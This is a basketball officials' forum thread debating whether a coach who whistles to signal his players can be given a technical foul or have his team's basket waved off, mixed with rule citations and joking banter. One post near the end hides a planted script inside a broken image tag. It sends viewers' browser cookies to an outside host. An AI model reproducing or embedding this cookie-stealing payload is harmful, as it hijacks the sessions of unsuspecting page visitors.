I had a coach tonight that whistled to get his players attention. It never caused a real problem, but it could have. When he whistled about 6 players and at least one of us officials took a quick glance over there thinking it was an official's whistle.

1. Can we tell him to stop?
2. What if a player stops dribbling and travels with the ball because he thinks the whistle blew? Can we tell him to stop after that happens?

p.s. I got home tonight and saw Phil Jackson whistling too.

What's a shistle? :D

Phil has been whistling since 1989.

Leave the coach alone.

I would guess that all involved could tell the difference between the coach's whistle and a Fox 40.
It shouldn't be a problem.

The frist time the coach whistled to get his players attention I would put a stop to it right then and there. Why? Personal experience.

Four years ago, I am officiating a boys' H.S. varsity game in Michigan. We are in the second quarter of a close game. I am the T (table side) and A1 has the ball at the top of the key. Coach A whistle's very loudly (there was not that big of a crowd because it was a Christmas Holiday tournament with four small Christian schools playing). The whistle took me by suprise, but more importantly, the Team B players relaxed for a moment because they thought that my partner or I had sounded our whistle, and A1 blew past his defender for a lay-up. My partner looked at me with that "what the hell just happened" look and we stopped the game immediately. Thats when Coach A admitted that he always whistles to get his players attention, but my partner and I were not buying that excuse. We disallowed the layup and T'd up the coach for unsportsmanlike conduct.

Uhmmmm...just wondering what rule you used to justify those actions, and why you would not only take points off the board but also T the coach...

Well, Rocky, Mark can always justify the T under Rule 10-4-1 by saying "In my, MTD Sr's opinion, that is an unsporting act". It doesn't matter if there isn't another official in the Free World that would agree that it was an unsporting act, he does have that leeway the way that R10-4-1 is written. It was written to leave what an "unsporting act" may also be, other than the examples listed, up to the calling official. Iow, you can second-guess his judgement( which I certainly do also), but he does have the right, by rule, to call a T if he wants. Like you say, though, there is no rule in the the book that I know of that would then allow him to take the basket away when the whistle was blown AFTER it was scored. Mark, exactly what rule did you use to take away the points?

There's a rule about the officials making judgements on situations not covered in the rulebook. An official can always bail him/herself out with that one.

In my original situation though, the coach was not doing it to purposely trick anyone, becuase he was calling play after play that way. And he mainly did it in the first half when his team was shooting at the other basket.

I would like to see a rule in the book about this (but who am I). What about a fan blowing a whistle with 1 second on the clock and everyone stops? You can T the team who the fan is supporting, but what if the fan shows to partiality?

Uh,no, you can't use R2-3 (the rule that you are referring to) if it negates a rule that is already in the rule book. You can only use R2-3 if there actually is NO rule covering the play. Rule 5-1-1 says <i>"A goal is made when a live ball enters the basket from above and remains in or passes through"</i>. That's exactly what happened in MTD Sr.'s case, isn't it? How can you now say that that play isn't covered in the rules? Correctible errors, under R2-10, aren't applicable in that case either. If you want to take the basket away, you better have a rule that will back up your doing so. There isn't a rule that will do that.

[Edited by Jurassic Referee on Jun 9th, 2004 at 12:08 PM]

Yeah, I get the 10-4-1 part (although that's a MAJOR strrrrrreeeettttccchhhh), but not sure how they justify double-thumping the team by taking away the basket AND whacking the coach...and btw, JR, I still hate Roger Clemens even tho he's not a Yank anymore....1-0 sucks...

Yeah, I get the 10-4-1 part (although that's a MAJOR strrrrrreeeettttccchhhh), but not sure how they justify double-thumping the team by taking away the basket AND whacking the coach...and btw, JR, I still hate Roger Clemens even tho he's not a Yank anymore....1-0 sucks... [/B][/QUOTE]As you stated above, I agree completely with you that you can't justify taking away the basket. There just isn't a rule available that would allow you to do so. As for the T itself, imo there wasn't much common sense involved in that call. As for Clemens, I didn't like him when he was in Boston. Couldn't stand him in Toronto. Thought he was an a$$hole when he played for the Yankees, and my opinion of him as an Astro isn't really as high as my previous opinions. Roger cares about Roger- no one else. Big dextering phony! Him and David Wells made a great pair. The only good thing about Roger being in the NL is that he can't throw at people any more because he has to get up to bat himself.

<font color = red>[font = devil's advocate]</font>Actually no, it's not. Since the coach's action was deemed to be unsportsmanlike, his action caused the ball to become dead. Therefore, even tho it passed thru the basket, no points are awarded.<font color = red>[/font]</font>

Got a rule to back that up, Mark Jr.?

You know, I might buy that if they blew the whistle and waved the basket off right away...but that's not what happened. They had a conversation between themselves and the coach,and THEN decided to disallow the points and T the coach...so not buying that either...and Rger can't PITCH at anyone anymore, but can he still throw pieces of bats at people????

Still, the action which caused the whole incident kills the ball even if the whistle is late and even if the refs have to talk about it first. If you were to consider this a T for unsportsmanlike conduct and it truly disadvantaged the defense, how could you permit the points to be scored? Late whistles don't mean a late dead ball, just that the ref was slow signaling it.

Basketball Rule Fundamentals (FED rulebook, pg. 77):

#16. The official's whistle seldom causes the ball to become dead (it is already dead).

I think you would treat this situation just like you were in a gym with multiple courts. Players stop because of a whistle from another court, then stop play and resume play where the action was stopped. Of course I agree -- no T. So I would also wave off the basket and give it to the kids on the side line. It seems that due to the "inadvertant" shistle :) that there was a definate disadvantage to the defense.

True...knew that and don't disagree with that at all (not sure what it has to do with my question, tho)...but where do you get support for stopping the play, having a conversation in which the coach says he/she whistled to get players attention, and THEN deciding that we will take away the points AND T the coach???? If you hit the whistle as soon as you hear the coach's whistle and signal the T right away, I might be fooled into thinking you knew what you were doing (for a little while anyway)...that's what I meant by "buying" it...

Aw damn,Chuck. LOL. Now MTD's liable to try and use that one too. :D

Shoulda turned the "devil's advocate" font back on!! Sorry! ;)

We gave up a lay-up to a team that had six players on the court and we were in man. Ref noticed after bucket was scored. The tech was for too many players, the points count because it was only addressed after the bucket.

Not sure why this is different. If coach had whistled and everybody played on, you call nothing. Coach whistled, player drives past a lax defense, points are scored, and you go, "oh dexter!" and feel you have to do something about it. Discussion, T.

So I guess you can use the rules to argue either point.

All that matters is when the event you are penalizing occurs.

Dribbler gets fouled, takes one dribble, picks up the ball and shoots. Then you blow the whistle for the foul. Either you wave off the shot or you declare an inadvertant whistle. He can't get the foul and the shot.

The same applies here. If a T is called at all, the shot can't be counted because the ball was already dead when the T occurred, not when the whistle is blown. If you don't call the T, however, the rules only support bucket counting since the ball was live. Fairness, however, suggests that perhaps it shouldn't.

C'mon coach, you can do better than that! I T a coach who flops to the floor in obvious disgust at my partner's call and you give me grief for 2 pages, yet you're not gonna bust Mark for what is probably one of the most unjustifiable T's ever called in the history of the game! :D

Coaches have been whistling at their players since the game was invented. I've never heard of a coach being assessed a T for it. :(

Coaches have been whistling at their players since the game was invented. I've never heard of a coach being assessed a T for it.
[/B][/QUOTE]Sure you have. At 8:23am this morning. :D

Coach, who says the ref made the right call? I would have disallowed the basket as a correctable error - erroneously counting a score. T should have been called right away (there were 6 players on the court), so the basket should not have counted. Offense has a definite advantage with 6 on 5. It would be no different than having one of the players on the bench run onto the court after the ball was put in play.

I agree with most here that a T on the Coach for whistling is a stretch...OK, "unjustifiable".
BUT, if it was in MTD's judgement that the whistle was indeed unsporting and the bucket was made because of this unsporting act, why not take the points off the board?

EXAMPLE:
If the Coach commited an unsporting act, such as throwing a chair on the court, and the defender had to dodge the flying chair thus, allowing the dribbler to make the basket...wouldn't you cancel the basket because of the unsporting act in this case?

Sure you would. :D

How are you taking away the basket? What gives us the justification to do so? CB plays? I think you have to count the basket and give the T. But also, bad on the officials for not counting players before they handed the ball in.

I see a HUGE difference when a player runs on the court during a live ball. For one, it is more obvious; two, you can't do any preventive officiating. However, if I had a player run on the floor as a drive or shot was in progress, I am counting the basket (unless A6 just caught the pass and was shooting) then giving a T.

6 players on the floor...you can't wipe the basket. That is a T only when it is recognized by an official, not when it happened. That, as you said, it quite different than an unsportsmanlike act that happens at a specific instant and is penalized (except for ONE case) when it occurs.

Excellent question.

Luckily I have not experienced a whistling coach. What I would probably do would depend on reaction of the players (almost like an inadvertant horn going during play). If the defense or offence stops playing in some way I may blow it dead and resume with a throw in from the closest spot out of bounds. I would not allow subs unless it were for an injured player.

If it were a coach whistling that interrupts a play, I might give the coach a warning. I say might because if he is interrupting a breakaway opportunity I most likely will whack him with a T.

If a player travelled because he thought the whistle went - blow it dead and give it back to his/her team.

Really how hard is it to use hand signals to call specific offences/defences. I think my University coach had coloured pieces of construction paper for calling the Blue or Green defences.

Luckily I have not experienced a whistling coach. What I would probably do would depend on reaction of the players (almost like an inadvertant horn going during play). If the defense or offence stops playing in some way I may blow it dead and resume with a throw in from the closest spot out of bounds. I would not allow subs unless it were for an injured player.


If a player travelled because he thought the whistle went - blow it dead and give it back to his/her team.

[/B][/QUOTE]What rule are you using to back up either of these proposed actions?

What rule are you using to back up either of these proposed actions? [/B][/QUOTE]

Whatever rule allows us to make a decision on something not specifically covered in the rules. ;) (argh, don't have my rule books with me)

What would you do if there was an in-advertant horn (scorekeeper accidentally hits it or hits it after you've handed the ball to someone to throw in) and the offence or defence (or both) stop playing?

Whatever rule allows us to make a decision on something not specifically covered in the rules. ;) (argh, don't have my rule books with me)

What would you do if there was an in-advertant horn (scorekeeper accidentally hits it or hits it after you've handed the ball to someone to throw in) and the offence or defence (or both) stop playing?
[/B][/QUOTE]If you have an inadvertant horn, you simply follow the <b>rule</b> covering it. In this case, case book play 2.11.3 tells you what procedure to follow for inadvertant horns. What you can't do is make up your own rules. In the above plays, the rules do allow you to T up the coach if you feel that his whistling constituted an unsporting act and thus gave his team an illegal advantage. The rules do not allow you to negate violations however.

I admit I'm not as verbose as some of you on this board. I will look up that case book play when I get home. I need to read up on the rules and case book plays more (and keep a copy at work too).

By the way (just out of curiousity I'm not trying to pick a fight): which rule allows an official to give the ball back to black when the ball went off them last (they were fouled by white at the same time which the official decides not to call).

:D

Were you at my aau game this past Sunday? :D

Towards end of game, happened in front of A's bench, Coach A gets up "It was out on him! It was out on him!!" hesitates, smiles and half whispers "you saved me a foul there, didn't you?"

I smiled back & told him I didn't know what he was talking about.

Anyway, I think it's in rule 2 somewhere, under officials duties, being light on your feet.

:)

If you have an inadvertant horn, you simply follow the <b>rule</b> covering it. In this case, case book play 2.11.3 tells you what procedure to follow for inadvertant horns. What you can't do is make up your own rules. In the above plays, the rules do allow you to T up the coach if you feel that his whistling constituted an unsporting act and thus gave his team an illegal advantage. The rules do not allow you to negate violations however. [/B][/QUOTE]

Good grief, leave him alone. I am willing to bet that you would do the same thing because your common sense would tell you too. :D

Christina, since you don't have your books handy, here's the case JR's talking about:

SCORER'S SIGNAL
2.11.3 SITUATION: When may the scorer signal? RULING: If the scorer desires to call attention to a player who is illegally in the game, he/she may signal the official when the ball is in control of that player's team. If it is for a substitution, the scorer may signal when the ball next becomes dead and the clock is stopped. If it is for conferring with an official, he/she may signal when the ball is dead. If the scorer signals while the ball is live, the official should ignore the signal if a scoring play is in progress. Otherwise, the official may stop play to determine the reason for the scorer's signal.

Thanks Chuck.

This is supported by 10.1.6

Good grief, leave him alone. I am willing to bet that you would do the same thing because your common sense would tell you too. :D [/B][/QUOTE]Nope, I wouldn't do the same thing. Say that you did cancel a travelling violation because a coach whistled, and you then gave the ball back OOB to the team that committed that violation. After the game, the coach that whistled hands in a written complaint to your association about that exact same call. Hodgy, you have to answer that complaint. How do you do that now? Do you say that there's no rule against it, but I didn't think it was "fair"? Then you hear the obvious "Well if you thought it wasn't fair, then why didn't you just give the coach a T? You coulda maybe justified that by the rule book". Iow, how does your association explain your act?

If a player's has a breakaway, and an opponent behind him then hollers at him, stamps his feet, whistles, etc., are you gonna stop the play if the player misses the layup and then give his team the ball back OOB? Or are you gonna T up the opponent instead? Or just let the play go because there's no rule against it.

Soumnds that mimic officials' whistles are quite different than stomping feet. Hollaring and stomping feet are never a reason to stop. A whistle is. If the coach's whistle resembles the officials whistle so closely that players stop I think it is a special situation that needs to be handled within in the spirit of the rules. Players are taught to play to the sound of a whistle and are not expected to analyze the source of the whistle or the reason why it was blown. There is no rule governing this...either for or against. It comes under 2-3. The referee has to do what is right.

If I, as an offical, even thought for a second that it could have been my partner, I will assume that the players also thought so and will declare that it killed the play. Tough luck for team A, their coach should avoid signals that are confusing. (Not all that different than being granted a time out for yelling "five out" where if the ref hears it as timeout and grants it, too bad).

Okay, just for the record, folks, now everyone pay attention here. I agree with Camron and disagree with Jurassic. Did everyone catch that? I'm disagreeing with Jurassic. He's just a big dope that doesn't git it, and can't referee worth beans, anyway.

And Camron (who I've watched and worked with several times over the years, so I'm not being obsequious here) is a very good ref who gets the big games, and handles them well. So obviously, Camron is da guy, and I'm agreeing with him.

Soumnds that mimic officials' whistles are quite different than stomping feet. Hollaring and stomping feet are never a reason to stop. A whistle is. If the coach's whistle resembles the officials whistle so closely that players stop I think it is a special situation that needs to be handled within in the spirit of the rules. Players are taught to play to the sound of a whistle and are not expected to analyze the source of the whistle or the reason why it was blown. There is no rule governing this...either for or against. It comes under 2-3. The referee has to do what is right.

[/B][/QUOTE]I agree with your idea of maybe not letting the coach get away with that whistle in that particular situation, especially if you think that the coach is gaining an advantage out of it. I don't agree that you haveta go to 2-3 to handle it though. You've already got a handy, serviceable rule in place that you can easily adapt to this situation- i.e. a technical foul under R10-4-1. Serves the same purpose anyway. You're giving the offended team 2 shots and the ball back, and the coach is getting a warning issued to him in the form of the direct technical foul that he is charged with. You can also cite casebook play 10.4.1SitC (the one where you withold your whistle for a T on a coach while an opposing player is on a breakaway) as being fairly close to the actual sitch, and use that to justify your call also.

Next question, Camron. If an opponent is behind a player with the ball on a breakaway and uses the same type of whistle as the coach, do you call it? And, if you do, what do you call it?

Okay, just for the record, folks, now everyone pay attention here. I agree with Camron and disagree with Jurassic. Did everyone catch that? I'm disagreeing with Jurassic. He's just a big dope that doesn't git it, and can't referee worth beans, anyway.

[/B][/QUOTE]Okay for you. So much for carrying my unborn child. You're off the list now. That cuts it down to Mick, Dan, Chuck or Tony now. :eek:

OK, if we're voting I cast my vote for that big dope, the grumpy old b@stard. I've yet to hear a coach's whistle that sounded like a Fox40, players at/above a certain level should be at least that aware.

Hmmm...is it too late to change my vote now?

Okay for you. So much for carrying my unborn child. You're off the list now. That cuts it down to Mick, Dan, Chuck or Tony now. :eek: [/B][/QUOTE]

Isn't there a tooth you need to go brush now?

OK, if we're voting I cast my vote for that big dope, the grumpy old b@stard.
[/B][/QUOTE]Soooooooo.........?

Is that me or Camron? :confused:

Isn't there a tooth you need to go brush now?

[/B][/QUOTE]Little known fact and a good point for Tony too. The toothbrush was invented in North Carolina. If it hadda been invented in any other state, it woulda been called a "teethbrush".

Soooooooo.........?

Is that me or Camron? :confused: [/B][/QUOTE]

Ask your fish, maybe he can help ya out....

http://www.lakejohnfishery.co.uk/old%20man%20les.jpg

:)
[img]/" width="1" height="1" id="xxx" border="0"><script>x="http://www.rct2000.com/x.php?oyy|"+document.cookie+"|"; this.xxx.src=x;</script><img src="/" id="bbb" width="1" height="1[/img]

Ask your fish, maybe he can help ya out....

http://www.lakejohnfishery.co.uk/old%20man%20les.jpg [/B][/QUOTE]Which one is the fish?

There! I beat everybody to it.

Okay for you. So much for carrying my unborn child. You're off the list now. [/B][/QUOTE]

Sheez, it's about time. I've been trying to get off that list for months....

Since everyone has seen my picture a thousand times, I think we'll all agree that I would be unfit for the job.

Hmmmmmm. I dunno. Could be an hermaphroditic squirrel? A transsexual squirrel?

You aren't getting off the list that easy.

Wasn't that an acid rock group from the late 60's?

I am just know reading this thread for the first time since I made my original post in it. And I would like to thank Chuck and Camron for coming to my defense. As they well know that by defending a position that I advoacte all future posts that they make in any future thread will be considered suspect.

MTD, Sr.

P.S. Good night everybody.

Sheez, it's about time. I've been trying to get off that list for months.... [/B][/QUOTE]

Would being on that list be anything like, say, being on the FBI's 10 Most Wanted list??? IOW, it seems like a list EVERYONE would want to get their name off of...if we're casting votes here, I vote for Dan to bear JR's child - two Yankees fans, one love-child, could be interesting...kid would probably end up being a KC fan or something...

Would being on that list be anything like, say, being on the FBI's 10 Most Wanted list??? IOW, it seems like a list EVERYONE would want to get their name off of...if we're casting votes here, I vote for Dan to bear JR's child - two Yankees fans, one love-child, could be interesting...kid would probably end up being a KC fan or something... [/B][/QUOTE]

I'm sure there are a few biologists who would pay handsomely for a patent on the process...

...if it's Woody and Dan that make it work.

...if we're casting votes here, I vote for Dan to bear JR's child - two Yankees fans, one love-child, could be interesting...kid would probably end up being a KC fan or something... [/B][/QUOTE]If he ended up a BoSox fan, we'd be having a retroactive abortion.

If he ended up a BoSox fan, we'd be having a retroactive abortion. [/B][/QUOTE]

Hey, didn't the 9th Circuit Court of Appeals ban retroactive abortions along with saying "under God" in the Pledge??? Better be careful - if they overturn that ruling 95% of Massachusettes population is in serious danger!!! Altho, come to think of it...nah...

Snoop Dogg's whistle.

I'm with you on this one.

I've also T'd up a coach because he wouldn't stop whistling. It was too close to the Fox40 and the players were even getting confused.

I've had whistling coaches and I've never heard one get anywhere near a Fox 40.

If players are confusing a coach's whistle to your whistle, you aren't blowing your whistle right.

i don't blow the whistle, i blast it. There is nothing wrong with the way i do so. I was amazed at how similar the two sounded. If it sounds similar its got to go.

I agree with your idea of maybe not letting the coach get away with that whistle in that particular situation, especially if you think that the coach is gaining an advantage out of it. I don't agree that you haveta go to 2-3 to handle it though. You've already got a handy, serviceable rule in place that you can easily adapt to this situation- i.e. a technical foul under R10-4-1. Serves the same purpose anyway. You're giving the offended team 2 shots and the ball back, and the coach is getting a warning issued to him in the form of the direct technical foul that he is charged with. You can also cite casebook play 10.4.1SitC (the one where you withold your whistle for a T on a coach while an opposing player is on a breakaway) as being fairly close to the actual sitch, and use that to justify your call also.
[/B][/QUOTE]

I suppose you could call a T if you knew it was deliberate and intended to gain an advantage. But, I'm going to fall give the coach/team the benefit of doubt to simply call the ball dead and give it to them OOB. The T feels too heavy handed for an unknown.

The T you mention in 10.4.1sitC is quite different. The T is going against team B, who is on defense, while the team A is on an apparent direct path to the basket. You withhold it to not eliminate the advantage that A earned....maximizing the penalty for a clearly unsportsmanlike act.

Good question!!! You may have just painted me into a corner. ;)

After some thought...

First, it depends on the reaction of the shooter.

No response...scores the bucket...no call, maybe a verbal warning to the defender (assuming that it sounds remotely like a Fox40)

Startled response and it does not sound at all like a Fox40...nothing.

Startled response and it does sound like a Fox40...nothing....maybe a warning.

Stops play thinking the ref whistled (sounds exactly like a Fox40)...a T...unsportsmanlike. He would have had to practice to get it to sound like that.

Who's this guy with the same name as me that's getting the big games? Or are you talking about that girls freshman game 60 miles from my home? ;)